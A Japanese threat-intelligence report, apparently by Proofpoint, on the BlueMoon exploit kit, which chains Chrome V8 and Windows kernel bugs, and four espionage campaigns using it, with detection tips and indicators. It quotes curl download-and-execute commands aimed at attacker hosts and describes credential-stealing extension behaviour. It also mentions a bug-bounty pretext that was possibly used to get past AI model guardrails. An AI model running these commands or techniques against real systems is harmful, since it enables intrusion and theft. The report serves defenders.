新エクスプロイトキット「BlueMoon」：ChromeとWindowsのゼロデイを組み合わせた攻撃を4つの国家連携型アクターが利用

アナリスト注：プルーフポイントは、まだ動向が定まっておらず、数値によるTA指定を付与できるほど長期間観測されていない活動クラスタを定義するために、UNK_という識別子を使用しています。

プルーフポイントのThreat Researchチームは、Google Threat Intelligence Group（GTIG）、Microsoft Threat Intelligence Center（MSTIC）、およびVolexityのご協力に感謝いたします。

プルーフポイントは、各社のプラットフォームに対する新たなエクスプロイトを観測した際、責任ある開示の慣行に従ってベンダーに通知しました。

 

主な調査結果

 

• プルーフポイントは、複数のChromeブラウザおよびMicrosoft Windowsの脆弱性を連鎖させる新しいエクスプロイトキットを使用する、スパイ活動を目的とした4つの脅威アクターを特定しました。プルーフポイントは、この活動で使用されているエクスプロイトキットをBlueMoonとして追跡しています。
• BlueMoonエクスプロイトキットを使用していることが最初に観測されたクラスタは、2026年8月28日の中国と連携した脅威アクターTA412（JungleBamboo、Violet Typhoon、APT31、TIDE CASTLE）でした。その数日以内に、スパイ活動を目的とした他の複数のクラスタがBlueMoonの使用を開始し、その大半は中国との関連が疑われるものでした。ただし、一部の使用についてはアトリビューション(攻撃者の紐づけ)が未特定のままであり、このエクスプロイトキットを使用しているアクターがさらに存在する可能性もあるため、BlueMoonは中国と連携したアクターに限定されたものではない可能性があります。
• このエクスプロイトチェーンは3つの脆弱性を標的としています。ChromiumのV8 JavaScriptエンジンにおける型混同（type confusion）脆弱性（CVE-2026-85046）、V8サンドボックスエスケープ、そしてレンダラープロセスからの脱出に使用される、古いWindowsビルドに存在するWindowsカーネルのローカル権限昇格（LPE）ゼロデイ（CVE-2026-85880として採番）です。
• 2つのV8脆弱性は、当該活動が観測された時点ではいずれも「パッチギャップ」型のゼロデイでした。言い換えると、これらは公開されている上流のChromiumソースコードではすでに修正済みの既知の脆弱性であったにもかかわらず、一般に提供されているChromeおよびChromiumベースのブラウザの最新安定版では未修正のままでした。エクスプロイトキットの開発者は、こうした公開されているChromiumのパッチを利用してブラウザエクスプロイトチェーンを武器化したと考えられます。
• 複数の異なる脅威アクターがどのようにしてこのエクスプロイトキットへのアクセスを獲得したのかは、現時点では不明です。導入の容易さを考慮すると、すべてのChromiumベースのブラウザでパッチ適用版の展開が完了するにつれ、このエクスプロイトキットはさらに拡散し、スパイ活動を目的とした脅威アクターや金銭目的の脅威アクターに採用される可能性が高いと考えられます。

 

概要

 

2026年8月下旬から9月にかけて、プルーフポイントは、スパイ活動を目的とした複数の脅威アクターが標的型スピアフィッシングキャンペーンにおいてBlueMoonエクスプロイトキットを急速に採用していることを確認しました。この活動のいくつかの特徴は、パッチ適用が見込まれる前に日和見的に採用・展開された攻撃能力と一致しています。このチェーンはChromeおよびChromiumベースのブラウザ（Microsoft Edgeなど）の最新安定版に存在する脆弱性を悪用する一方で、古いWindowsビルドにのみ存在するWindows LPE脆弱性と組み合わされていました。この組み合わせにより、実現可能な標的の母数は大幅に狭まり、チェーン全体の成功確率は低下します。加えて、短期間のうちに複数の異なる脅威アクターがこの攻撃能力を急速に採用していることを併せて考えると、これは成熟した長期計画に基づく作戦というよりも、性急に展開されたものであることを示している可能性が高いと考えられます。さらに、観測されたすべての事例において、エクスプロイトの配信に使用されたインフラストラクチャは、関連するキャンペーンと同日、またはその直前の数日間に作成されていました。

BlueMoonがAIの支援を受けて開発されたことを決定的に裏付ける単一の痕跡は存在しないものの、プルーフポイントはこの仮説と整合するいくつかの兆候を特定しました。具体的には、広範な診断ログ機能、参照されているマークダウン形式の引き継ぎドキュメント、そして度重なるデバッグの反復や実装上の判断を記録した詳細なコメントなどです。さらに、このエクスプロイトチェーンのデフォルト設定は、ブラウザのエクスプロイトチェーンに一般的に関連付けられる運用上のセキュリティや技術的な攻撃手法の水準からの逸脱を示しています。たとえば、デフォルトでは、エクスプロイトに成功すると単にcurlコマンドが実行され、攻撃者が用意した実行ファイルをディスクにダウンロードして実行するだけです。これによりエンドポイントセキュリティ製品にとって検知しやすい機会が複数生じることになり、検知の回避よりもこの攻撃能力の迅速な展開が優先されたことを示すさらなる証拠となっています。こうした全体的なパターンは、AIエージェントによって脅威アクターがエクスプロイトを開発しやすくなっている状況を背景に、この種の攻撃能力のコストと参入障壁が低下していることを反映している可能性があります。これは特に、公開されている上流のパッチが下流の安定版リリースに先行して「パッチギャップ」の期間を生み出し、迅速なリバースエンジニアリングとエクスプロイト開発を可能にする、Chromiumのようなオープンソースのコードベースに当てはまります。

 

BlueMoonエクスプロイトキットはChromeブラウザとMicrosoft Windowsを標的とする

 

BlueMoonエクスプロイトキットは、ChromeおよびChromiumベースのブラウザに影響する2つの脆弱性、具体的にはV8エンジンにおけるリモートコード実行（RCE）の脆弱性（CVE-2026-85046）とV8サンドボックスエスケープを、WindowsカーネルのLPE脆弱性と連鎖させます。Chromeのエクスプロイトに続いて、このキットはリフレクティブロードされたDLLを使用してWindowsホストのフィンガープリントを取得し、エクスプロイトキットのJavaScriptはその情報をもとにLPEエクスプロイトを試行するかどうかを判断します。2つ目のリフレクティブロードされたDLLがLPEエクスプロイトを実行し、レンダラープロセスの権限を昇格させます。この昇格した権限を用いて、別個のインジェクターシェルコードが親であるChromeブローカープロセスにCreateProcessスタブを注入し、オペレーターが指定したコマンドを実行します。デフォルトのコマンドは、curlコマンドによってリモートでホストされている実行ファイルをダウンロードし、それを実行するというものです。

図1. 複数のアクターに使用されているBlueMoonエクスプロイトチェーン

 

エクスプロイトのオーケストレーションとAI支援による開発の可能性を示す証拠

 

プルーフポイントは、脅威アクターごとにBlueMoonエクスプロイトキットのパッケージングにいくつかのバリエーションがあることを観測しました。これらには、コメントや診断出力を削除したもの、キットを単一のJavaScriptファイルに埋め込んだもの、構成要素をエンコードまたは難読化したもの、あるいはコアとなるエクスプロイトコードを別のスクリプトでホストしたバリアントが含まれます。一部の展開では、キャンペーン固有のランディングページやリダイレクト、ブラウザ側でのオペレーティングシステムのチェック、追加のテレメトリなども加えられていました。こうした違いはあるものの、これらのサンプルは同一の基盤となるエクスプロイトチェーンに加えて、同一のオーケストレーションおよびロード機構を使用しており、これらのビルドがほぼ確実に同一のソースに由来することを示しています。

TA412によるBlueMoonエクスプロイトキットの最も初期に観測された使用例では、エクスプロイトのオーケストレーションと設定を行うスクリプトdriver-html.jsがワーカーとして実行されていました。このスクリプトは、エクスプロイトの実行、再試行の頻度、エクスプロイト成功後に何をダウンロードするかを制御します。他のビルドでは、driver-html.jsを独立したファイルとして保持するのではなく、バンドル化された、エンコードされた、あるいはキャンペーン固有のランチャーが同じ役割を果たしています。

図2. BlueMoonエクスプロイトキットのバリアント内で使用されているログ出力の例

観測されたBlueMoonエクスプロイトキットの使用全体を通じて、プルーフポイントは広範なログ出力機能、冗長なコメント、そして詳細なコメント内に残されたデバッグの反復の痕跡を特定しました。これらのコメントには、過去の失敗の説明、その後の修正内容、そして今後の変更が遵守すべき制約が頻繁に記録されています。ログ出力には、エクスプロイトのテスト実施者に対する「ログ全体を返送してください（ページからコピーしてください）」という指示が含まれており、あるコメントはマークダウン形式の引き継ぎファイル（「完全な履歴と根拠：docs/v8-ctf-chrome-stage4-handover.md」）に言及していました。これらはAIエージェントがセッション間やモデル間の引き継ぎを行う際に一般的に使用されるものです。またBlueMoonには、再試行カウンターのキーv8ctf_exp_attemptやログの見出しテキストv8-ctf chromeなど、v8CTF（GoogleのV8エンジンのバグバウンティチャレンジ）への言及が複数含まれています。

配布されたキットに残されたこうした開発上の痕跡は、AI支援による開発と広く整合するものですが、これを決定的に裏付ける単一の痕跡は存在しません。また、V8のエクスプロイトが実際にv8CTFのバグバウンティのフレームワークを対象として開発されたのか、あるいはこの口実が大規模言語モデル（LLM）のガードレールを回避するためにエクスプロイト開発者によって使用されたのかも不明です。

ランチャーがどのようにパッケージ化されているかにかかわらず、ワーカーに読み込まれるコアとなるJavaScriptには、ブラウザのエクスプロイトチェーンと、Base64でエンコードされた3つの大きな構成要素が含まれています。

• p1 – 偵察に使用されるリフレクティブロードされたDLL
• p2 – カーネルLPEエクスプロイトを実行するリフレクティブロードされたDLL
• pp – プロセスインジェクションのランチャーとして機能する位置独立シェルコード

 

BlueMoonのエクスプロイトチェーン

 

 

V8の型混同（CVE-2026-85046）

 

1つ目のChrome V8エクスプロイト（CVE-2026-85046）は、ブラウザのレンダラーにおけるリモートコード実行の脆弱性です。これは、ソート処理の途中で配列を変更することにより、Chrome V8のジャストインタイム（JIT）コンパイラであるTurboFanの型混同のバグを悪用するもので、攻撃者はオブジェクトのアドレスを読み取り（addrof）、偽のオブジェクトポインタを偽造（fakeobj）できるようになります。これらのプリミティブは、V8のヒープケージ内で任意の読み書きを行うためにFloat64Arrayを破壊する目的で使用され、次のエクスプロイトであるサンドボックスエスケープの基盤となります。CVE-2026-85046の修正を含む変更は2026年8月7日にコミットされましたが、一般向けの安定版Chromiumビルドに反映されたのは2026年9月3日でした。これにより、リリース済みのパッチが存在しないまま差分が公開されている状態が約4週間にわたって続くことになりました。

このバグは、Maglev（制御フローグラフに基づく表現を使用するV8のJITコンパイラ）とTurboFan（「Sea of Nodes」に基づく表現を使用する、V8のもう1つの最適化コンパイラ）の双方が行う最適化上の前提に依存しています。いずれのコンパイラも、最適化されていない組み込み関数を配列の「elements kind」に特化したバージョンに置き換えることで、Array.prototype.sortを最適化しようとします。配列の「elements kind」は実行時に変化し得ますが、通常はより特化した種別からより一般化した種別へとしか移行できません。ただし、すべての要素を置き換えるためにArray.fill()が呼び出された場合は例外で、その場合V8はより特化した要素種別へと最適化し直すことができます（このコミットで導入されました）。最適化されたソート関数の一群を認識するようコンパイラを訓練した上で、ソート処理の途中でfill()を呼び出して「element kind」を変更することにより、配列の基盤となる「element kinds」を変えることができます。これによりコンパイラは騙されてオブジェクト参照をSMI（小さな整数）として扱うようになり、その結果ヒープのオフセットが漏えいし、エクスプロイトで使用されるaddrofプリミティブの基盤が形成されます。詳細については、このバグを最初に報告したリサーチャーが公開したこの解説記事をご覧ください。

図3. V8ケージ内での任意の読み書きを行うために偽のFloat64Arrayオブジェクトを構築する、BlueMoonのV8ヒープ偽造用の定数とスプレー関数

 

V8サンドボックスエスケープ

 

2つ目のエクスプロイト（V8サンドボックスエスケープ）は、WebAssemblyモジュールのメタデータを破壊することにより、WebAssemblyのコンパイル済み関数本体を変数p1のシェルコードで上書きします（注：ChromeはV8サンドボックスエスケープに対して現在CVEを発行していないため、この問題にCVEは割り当てられていません）。p1のペイロードはDLLをリフレクティブにロードし、NT/Windowsのバージョンとビルド、現在のプロセストークンの整合性レベル、およびkernelbase.dllのビルドバージョンを収集します。これらの情報が返され、JavaScriptはそれを用いて、その環境がサポート対象であるか、Chromeが低整合性レベルで動作しているか、そしてLPEエクスプロイトp2を試行すべきかどうかを判断します。具体的には、JavaScriptはこのデータを使用して、LPEエクスプロイトの試行を以下のWindowsビルドに限定し、その後p2によって再度チェックが行われます。

 

WindowsカーネルのLPE

 

ビルド	バージョン
17763	Windows 10 1809（2018年10月更新）/ Server 2019
19041–19045	Windows 10 2004、20H2、21H1、21H2、22H2
20348	Windows Server 2022
22000	Windows 11 21H2（初期リリース）

表1. BlueMoonが使用するLPEエクスプロイトの対象となるMicrosoft Windowsのビルド

p2によってリフレクティブにロードされるDLLは、Advanced Local Procedure Call（ALPC）およびWindows Notification Facility（WNF）を利用したWindowsカーネルのエクスプロイト（CVE-2026-85880）を使用して、カーネルの読み書き権限を取得し、レンダラーのトークンでSeDebugPrivilegeを有効化します。そして、権限昇格が成功したことを確認するためのステータス値をJavaScriptのオーケストレーターに返します。前述のとおり、LPEエクスプロイトが標的とするWindowsのビルドは比較的古く、多くの場合サポート対象外ですが、Windows 10はデスクトップにおいて依然として比較的高い少数派シェアを維持しています。LPE用DLLのコンパイルタイムスタンプは2025年のものであり、偽造されたものではないと見られます。このことは、エクスプロイトが古いWindowsビルドを標的としている点と併せて、エクスプロイトの作成者が既存の攻撃能力をBlueMoonエクスプロイトキットに再パッケージ化したことを示唆しています。

 

ペイロードのインジェクション

 

最終段階のppは、小規模なWindowsプロセスインジェクション用ランチャーです。ブラウザの親プロセスを探し出し、フルアクセス権限でそれを開き、実行可能なメモリを確保し、小さなスタブとコマンドラインを書き込んだ上で、リモートスレッドを開始します。このスタブはCreateProcessAを呼び出し、レンダラーのサンドボックスの外部で以下のcurlコマンドを実行します。

curl -sS -o "%TEMP%\msgbox.exe"“<exeUrl>” && “%TEMP%\msgbox.exe”

エクスプロイトキットの設定は、exeUrl変数を介してダウンロードURLを構築します。これが設定されていない場合、exeUrlは現在のページの場所を基準としたmsgbox.exeの絶対URLがデフォルトとなります。シェルコードはその後curlを呼び出してこのファイルを取得し、%TEMP%ディレクトリに保存して実行します。エクスプロイト後のダウンロード段階において、このチェーンはBlueMoonを使用していることが観測された4つの脅威アクターすべてで、それぞれ異なるペイロードを配信していました。

 

観測されたBlueMoonエクスプロイトキットのキャンペーン

 

以下のセクションでは、観測されたBlueMoonのキャンペーンで使用された配信手法とペイロードについて解説します。時間的な制約と、コミュニティに情報を提供する緊急性を考慮しているため、これらのペイロードの多くについては、その全容と影響を把握するためにさらなる分析が必要です。

 

最初の採用者TA412はBlueMoonを用いて米国のNGO、鉱業、現物商品取引の各組織を標的に

 

2026年8月28日以降、TA412はBlueMoonエクスプロイトキットを使用して、米国内の少数の非政府組織（NGO）、鉱業会社、および現物商品取引会社を繰り返し標的としました。TA412は中国と連携した国家支援型の脅威アクターであり、中国の文民対外情報機関である国家安全部（MSS）湖北省国家安全庁（HSSD）に代わって経済スパイ活動、国境を越えた弾圧、および対外情報収集を行ったとして、2024年に米国政府によって起訴されています。この米国政府による起訴において、同グループはHSSDが当初設立したフロント企業である武漢暁睿智科技有限責任公司（武汉晓睿智科技有限责任公司）（Wuhan XRZ）に公式にアトリビューション(攻撃者の紐づけ)されました。

図4. BlueMoonの配信キャンペーンで観測されたTA412のフィッシングメール

TA412は、標的組織でのインターンシップに関心を持つ複数の大学の学生を装ったものや、今後開催されるAssociation for Asian Studies主催のAAS-in-Asia 2026会議に関する連絡を装ったものなど、さまざまなおとりを使用しました。場合によっては、同グループは標的ごとに個別の信頼関係を築くやり取りを行い、最終的にフィッシングリンクを含むメールを送信することもありました。標的が、エクスプロイトをホストする攻撃者管理下のドメインへのリンクをクリックすると、ブラウザのエクスプロイトが試行される数秒間にわたって読み込み中のページが表示され、その後正規のWebサイト（たとえばgithub.comやasianstudies.org）にリダイレクトされました。

同グループによるエクスプロイトチェーンの使用は、最終的に感染ホスト上でローダーの実行ファイルをダウンロードして実行し、そのローダーが被害者のChromiumベースのブラウザに、Google Geminiを装った悪意のあるブラウザ拡張機能をインストールしました。この拡張機能はブラウザの監視と認証情報窃取を行うバックドアとして機能し、攻撃者はコマンド&コントロール（C&C）チャネルを通じてコマンドを発行できるようになります。

悪意のある拡張機能のインストーラー

TA412のキャンペーンにおいてBlueMoonによってダウンロードされるエクスプロイト後のインストーラー（msgbox.exe）は、XORでエンコードされたハードコード済みのURLをデコードし、Chromiumブラウザ拡張機能のZIPファイルをダウンロードしてインストールします。インストーラーはその後、ZIPをC:\Users\Public\stomp_extに展開します。次にインストーラーは、インストール済みのChromium系ブラウザ、具体的にはGoogle Chrome、Microsoft Edge、Brave、Vivaldiを列挙します。Chromiumブラウザは実行中に設定ファイルを開いたままにするため、インストーラーは設定を変更する前に対象となる各ブラウザのプロセスを終了させます。設定ファイルの書き換え後、インストーラーは--restore-last-sessionを付けてブラウザの実行ファイルを再起動し、ユーザーが以前に開いていたタブとウィンドウを復元します。

TA412が使用するmsgbox.exeインストーラーは、公開されている偽造手法（Rubrik Zero Labs、Synacktiv）を用いて、Chromiumベースのブラウザで使用されているSecure Preferencesの保護機構を発動させることなく、悪意のあるブラウザ拡張機能をインストールします。Secure Preferencesファイルは、どの拡張機能がインストールされているか、開発者モードが有効かどうかといった機微なユーザー設定を含むprotection.macsというJSONオブジェクトを保存しています。機微な値にはそれぞれ対応するHMACチェックサムが付与され、これはブラウザのバイナリに埋め込まれた固定のシード、ログイン中のユーザーのWindows SID、および保護対象となるJSONの値そのものをもとに算出されます。super_macと呼ばれるマスター整合性チェックサムが、個々のHMACエントリ全体の妥当性を検証します。Chromeは起動時に、ファイル内の内容からこれらのHMACを再計算し、保存されている値と比較します。保存されている値とそのチェックサムが一致しない場合、Chromeは変更を元に戻すか、その拡張機能をWebストア以外からインストールされたものとしてフラグを立てます。TA412が使用するmsgbox.exeインストーラーは、ブラウザが使用するのと同じ入力値を用いて有効なHMACを算出し、続いてsuper_macを再計算することで、この仕組みを無効化します。

GemStoneブラウザ拡張機能のペイロード

プルーフポイントがGemStoneとして追跡しているブラウザ拡張機能のペイロードは、「Google GeminiによるAI搭載のブラウジングコンパニオン」を装っています。この拡張機能は、cookies、storage、tabs、scripting、activeTab、downloads、webNavigation、alarmsを含む権限を要求します。GemStoneはbackground.jsという名前の難読化された悪意のあるJavaScriptサービスワーカーを使用し、これがブラウザの監視と認証情報窃取を行うバックドアとして機能します。

GemStone拡張機能は、動作状態をChrome拡張機能のストレージ内のkc_stateに、C&C設定をportal_sync_configに保存します。デフォルトで記録機能が有効になっており、拡張機能が読み込まれるたびにサービスワーカーが起動します。Chromeのアラーム（Chromiumブラウザの拡張機能で利用可能なバックグラウンドタスクのスケジューラ機能）を使用して、定期的なエクスポート、データ窃取、コマンドのポーリング、フラグの確認といった処理をトリガーします。観測されたGemStoneのサンプルは、C&CとしてCloudflare Workerのドメインに接続していました。

C&Cの識別子と登録

C&C通信を登録・初期化するため、GemStone拡張機能はまず以下の形式で被害者の識別子を生成します。

gemini-<拡張機能IDの先頭12文字>-<グローバルIP>

このグローバルIPは、公開されているIPアドレス識別サービスから取得します。

• hxxps://api.ipify[.]org?format=json
• hxxps://ipinfo[.]io/json

次に、この識別子をHTTP POSTリクエストとしてエンドポイント/api/extensions/registerに送信し、以後のC&C通信の認証に使用されるIDとトークンを受け取ります。

GemStoneはその後、C&Cのために以下のエンドポイントとメソッドを使用し、設定されたポーリング間隔フラグに基づいて定期的にポーリングを行います。

エンドポイントとパス	目的
POST /api/extensions/register	被害者の登録とID/トークンの取得
GET /api/flag	ポーリング間隔フラグを取得します。これによりポーリング間隔が30秒または60分に設定されます。
POST /api/extension/{id}/heartbeat	登録の確認
POST /api/extension/{id}/ingest	収集したデータの窃取
POST /api/extension/{id}/screenshots	スクリーンショットのアップロード
GET /api/extension/{id}/commands	キューに入れられたコマンドのポーリング
POST /api/extension/{id}/commands/{commandId}/ack	コマンド実行結果の返送

表2. GemStoneのC&Cブラウザ拡張機能のエンドポイント

利用可能なコマンド

GemStoneには以下のリモート実行可能なコマンドが備わっており、これらは有効なポーリング間隔フラグに応じて30秒ごとまたは60分ごとに、次の経路でポーリングされます。

/api/extension/{id}/commands

コマンド	機能
PING	インプラントのタイムスタンプを返します
GET_STATE	保存されたスクリーンショットのデータURLを含む、ローカルの状態全体を返します
TOGGLE_RECORDING	キーロガー/レコーダーのオンとオフを切り替えます
CLEAR	収集状態を消去し、記録機能を再度有効にします
EXPORT	ローカルにJSONのダウンロードを作成します
CAPTURE_COOKIES	アクセス可能なすべてのCookieストアからCookieを返します
CAPTURE_STORAGE	アクティブなタブのローカルストレージとセッションストレージを抽出します
CAPTURE_SESSION	アクティブなタブのメタデータを返します
INJECT	組み込みのキーロガー/レコーダーをタブに注入します
SET_KEYWORDS	監視対象のキーワードリストを置き換えます
GET_KEYWORDS	現在のキーワードリストを返します
SCREENSHOT_NOW	現在表示されているアクティブなタブをキャプチャします
HTTP_REQUEST	ブラウザ拡張機能のコンテキストから任意のHTTPリクエストを実行します
FETCH_HISTORY	直近50件のGemStoneのHTTP_REQUESTレコードを返します

表3. GemStoneブラウザ拡張機能で利用可能なコマンド

キーロガー/レコーダーは、対象となるタブのすべてのフレームに注入されます。キャプチャモードでkeydown、input、change、pasteを監視します。またこのマルウェアには、SET_KEYWORDSコマンドで設定可能な、攻撃者が指定するキーワードの監視機能が含まれています。このキーワードリストは各ページの最上位フレームに注入され、HTMLの本文をスキャンしてスクリーンショットの取得をトリガーするために使用されます。インストール時点では、デフォルトのキーワードリストは空です。

データの窃取

GemStoneブラウザ拡張機能は、定期的にJSON形式のデータをエンドポイント/api/extension/{id}/ingestに送信して窃取します。これには以下が含まれます。

• 直近500件のキーストロークの記録、Cookie、localStorageおよびsessionStorageのエントリ
• 直近50件のHTTP_REQUESTコマンドの記録
• 直近100件のブラウザのナビゲーションおよびキーワードのイベント
• 現在のキーワードリスト
• 現在のアクティブなタブ/セッションのメタデータ

スクリーンショットはメインのペイロードからは除外され、別途アップロードされます。スクリーンショットは、コマンドによって直接トリガーされるか、キーワード監視機能によって自動的にトリガーされます。

 

中国と連携したUNK_LateNightはBlueMoonを使用して米国の航空宇宙業界を標的にShadowPadバックドアを配信

 

2026年9月2日以降、プルーフポイントがUNK_LateNightという暫定的なグループ識別子で追跡している、中国と連携したスパイ活動を目的とする2つ目の脅威アクターが、複数の米国航空宇宙企業を標的としたキャンペーンでBlueMoonの使用を開始しました。これらのフィッシングメールは、米国の防衛産業基盤に特化した企業間取引（B2B）や見積依頼（RFQ）に関する問い合わせをテーマとしていました。これらのメールには、さまざまな米国航空宇宙企業を偽装した攻撃者管理下のドメインへのリンクが含まれており、そのドメインがBlueMoonエクスプロイトキットを配信し、最終的にShadowPadバックドアを読み込みました。同グループはBlueMoonの設定の一部として複数のURLリダイレクト先をハードコードしており、そのすべてが米国航空宇宙企業のWebサイトを指していたことも、このキャンペーンにおける標的の特定性を裏付けています。

このUNK_LateNightの活動では、エクスプロイト成功後にダウンロードされるmsgbox.exeの実行ファイルはローダーであり、難読化されたTMPファイル（A08744D2.tmp）とともにDLLサイドローディング用のファイル一式を配置します。このDLLはTMPファイルを読み込んでAESで復号し、その後復号された内容をwmpnetwk.exeなどの複数のハードコードされたインジェクション先のいずれかに注入しようとします。TMPファイルは直ちに上書きされ、ペイロードはバックアップの保存手段としてレジストリに書き込まれます。

EdgeCore_AutoUpdateという名前のスケジュールタスクが作成され、DLLサイドローディング用のファイル一式を実行することで感染チェーンを定期的に再開させます。TMPファイルが正しく復号されない場合、DLLはレジストリ内のコピーにフォールバックします。ペイロードはShadowPadバックドアであり、ステルス性を維持するために20のネットワーク監視関数のフックを解除し、Firefoxのプロファイルデータを窃取し、ネットワークトラフィックを盗聴し、ユーザーエージェント文字列をローテーションさせるバイナリ形式のC&Cプロトコルを使用してHTTPS経由でms.checrity[.]comにビーコンを送信します。このShadowPadの感染チェーンは、AhnLabおよびSentinelOneが過去に文書化したものとほぼ同一です。

 

UNK_DoubleCheckはRust製ローダーの感染チェーンでベトナムの製造業企業を標的に

 

2026年9月2日以降、プルーフポイントがUNK_DoubleCheckとして追跡している、スパイ活動を目的とすると疑われる別の脅威アクターが、侵害された東南アジアの政府機関のメールアドレスから送信されたメッセージによって、ベトナムの製造業の組織を標的としました。

図5. ワクチン接種の予約登録をテーマとした、侵害された政府機関の送信者からのUNK_DoubleCheckのフィッシングメール

これらのメールには、BlueMoonをホストする攻撃者管理下のCloudflare Workerへのリンクが含まれていました。このBlueMoonの展開は、JavaScriptのローダーと設定の構成要素をエンコードするために難読化を使用していることが観測された唯一のバリアントです。

図6. UNK_DoubleCheckによるBlueMoonの展開における難読化された構成要素

エクスプロイトに成功すると、デフォルトのmsgbox.exeの設定ではなく、以下のコマンドが実行され、別の攻撃者管理下のドメインbrianwilli[.]comから複数のファイルがダウンロードされます。

cmd.exe /c curl.exe -k -o "%APPDATA%\Microsoft\Windows\#1" hxxps://homepage.brianwilli[.]com/d/{wint.exe,calibre-launcher.dll,85rY.dat,SysPr.prx} && "%APPDATA%\Microsoft\Windows\wint.exe"

これによりDLLサイドローディングのチェーンが開始され、SysPr.prxという名前のブロブがRC4で復号され、その結果得られたRust製の実行ファイルがメモリ上に読み込まれます。このRustバイナリは、Cloudflare R2バケット1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]comに接続し、C&Cにfracons[.]comを使用する2つ目のDLLサイドローディング用のファイル一式をダウンロードして実行します。プルーフポイントは現時点でUNK_DoubleCheckを特定の国にアトリビューション(攻撃者の紐づけ)していませんが、同グループはスパイ活動を目的としている可能性が非常に高いと考えられます。

 

UNK_QuietRacketの活動はシンガポールとインドネシアを標的として未知のカスタムマルウェアを配信

 

図7. インドネシア政府職員を偽装したUNK_QuietRacketのフィッシングメール

2026年9月3日以降、プルーフポイントがUNK_QuietRacketとして追跡している、中国と連携していると疑われる3つ目のスパイ活動を目的とした脅威アクターが、インドネシアおよびシンガポールの政府、コンサルティング、金融セクターの組織を標的とした活動においてBlueMoonを使用しました。関連するフィッシングメールは、Indo Startup Expo & Forum 2026やWorld Conference on Creative Economy（WCCE 2026）といったインドネシアの会議をテーマとしていました。このキャンペーンに関連するすべての感染チェーンでは、偽装対象となった会議の正規のWebサイトにリダイレクトする前に、固有のコードが相当程度重複するランディングページが使用されていました。

UNK_QuietRacketは、BlueMoonの最終段階であるppインジェクターのシェルコードを改変し、代わりにCloudflare Workerまたは攻撃者管理下のドメインからDLLサイドローディング用のファイル一式（GfExperienceService64.exeおよびGFExperienceUpdate.dll）をダウンロードして実行するようにしていました。このDLLローダーは、C&Cインフラストラクチャの解決をすべてGoogleのDNS-over-HTTPS（DoH）経由で行い、dns.elixnovorem[.]comのTXTレコードを取得してChaCha20で復号します。その結果、Cloudflare Workerのroyal-surf-a2e2.daoahueb.workers[.]devにたどり着きました。このCloudflare Workerはおとりとなる本文がBase64でデコードされChaCha20で復号された上で、.NETアセンブリとしてメモリ上に読み込まれるHTMLページを配信しました。このデコードされたメモリ上の.NETペイロードは、永続化のためにC:\ProgramData\GfExperienceService64.exeを実行するGeForceServiceという名前のスケジュールタスクを設定するだけのものでした。

その後、ローダーは無期限のビーコンループに入り、Google DoHを使用した同じC&Cのパターンを繰り返します。今度はdns.getaiexo[.]comを使用し、分析時点でそのTXTレコードはblack-flower-9250.v93xdd5g.workers[.]devにデコードされました。プルーフポイントは、この2つ目のC&Cチャネルから配信されるペイロードを一切観測していません。

 

まとめ

 

完全に武器化されたChromeのエクスプロイトチェーンは、歴史的に見て価値が高く、希少な攻撃能力でした。BlueMoonは、検知されやすい兆候を多く伴う形で開発・迅速に展開され、数日のうちに複数の脅威アクターの間で共有されました。これは、AIエージェントによって脅威アクターがエクスプロイトを開発しやすくなるにつれ、この種の攻撃能力のコストと参入障壁が低下していることを反映している可能性があります。これは特に、コードベースの下流の利用者がパッチを適用する前に上流のパッチが公開されてしまう、Chromiumのようなオープンソースのコードベースに当てはまります。これにより、脅威アクターが下流の安定版リリースに先行してパッチを迅速にリバースエンジニアリングし、エクスプロイトを開発しようと試みる期間が生じます。

観測されたBlueMoonの使用の大半は、中国と連携したスパイ活動を目的とした活動であると評価していますが、本稿執筆時点では、BlueMoonの使用を中国と連携した脅威アクターに限定してアトリビューション(攻撃者の紐づけ)するのに十分な証拠はありません。パッチ適用が見込まれる時期に先立ち、複数の中国と連携した脅威アクターの間でエクスプロイトの攻撃能力が同様に急速に拡散する事例は、Microsoft ExchangeやSharePointを標的とした活動を含め、過去に何度も観測されています。この現象を説明し得る仮説はいくつかあり、共通の商業的な調達経路、あるいは複数の国家と連携した脅威アクターにこの攻撃能力を供給するデジタル兵站担当者の存在、または国家に関連する中央集権的な組織を通じたより直接的な攻撃能力の配布などが考えられます。

プルーフポイントは、BlueMoonが今後さらに拡散し、スパイ活動を目的とした脅威アクターと金銭目的の脅威アクターの双方に採用される可能性が高いと評価しています。この活動によって明らかになったより大きな動向、すなわちオープンソースのパッチギャップを利用した迅速なエクスプロイト開発は、この開発モデルがより幅広い脅威アクターにとって利用可能になるにつれ、BlueMoonにとどまらず今後も繰り返し発生する可能性が高いと考えられます。

 

BlueMoonの脅威の検知とハンティング

 

• デフォルトのBlueMoonの展開では、特徴的かつ不審なプロセスツリー（chrome.exe -> cmd.exe -> curl.exe -> msgbox.exe）が見られます
• 以下の名前のスケジュールタスク：
  • EdgeCore_AutoUpdate（UNK_LateNightによるShadowPadの活動）
  • MicrosoftEdgeUpdatesTaskMachineおよびAvpcheckup（UNK_DoubleCheck）

• ChromeのsessionStorageに書き込まれるv8ctf_exp_attemptという名前のセッションキー

• Dataupcheckinfoという名前のミューテックス（UNK_DoubleCheck）
• 永続化のためのHKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32へのレジストリ書き込み（UNK_DoubleCheck）
• %TEMP%に配置されるChromeUpdate.exeまたはmsgbox.exe

 

ET rules

 

2071919 - ET EXPLOIT_KIT BlueMoon EK JS Loader M1
2071920 - ET EXPLOIT_KIT BlueMoon EK JS Loader M2
2071921 - ET EXPLOIT_KIT BlueMoon EK JS Loader M3
2071922 - ET EXPLOIT_KIT BlueMoon EK CnC Beacon Outbound (ok)
2071923 - ET EXPLOIT_KIT BlueMoon EK CnC Beacon Outbound (fail)
2071924 - ET EXPLOIT_KIT BlueMoon EK CnC Beacon Outbound (phase)

Indicators

TA412
Indicator	Type	Description	First Seen
779b3e1a470e589d492b99154ba11622fbaebb19b3de694f660c725411b7096d	SHA256	driver-html.js (BlueMoon exploit JavaScript)	August 2026
ff1b49aaec994f4c11f2c9331e739abb4bc3d6abf66ec50ce99709fba35d782b	SHA256	BlueMoon exploit JavaScript	August 2026
7d6f6dcb17a423bdd7715f8a4e34f2939501a761bc9bf7aa005f805ef1f82288	SHA256	ChromeUpdate.exe (or msgbox.exe)	August 2026
e950d03c58d49e28e31df8afeefca1f3b3d2cd6b697c40adfee1a4f6fe18f004	SHA256	dist.zip	August 2026
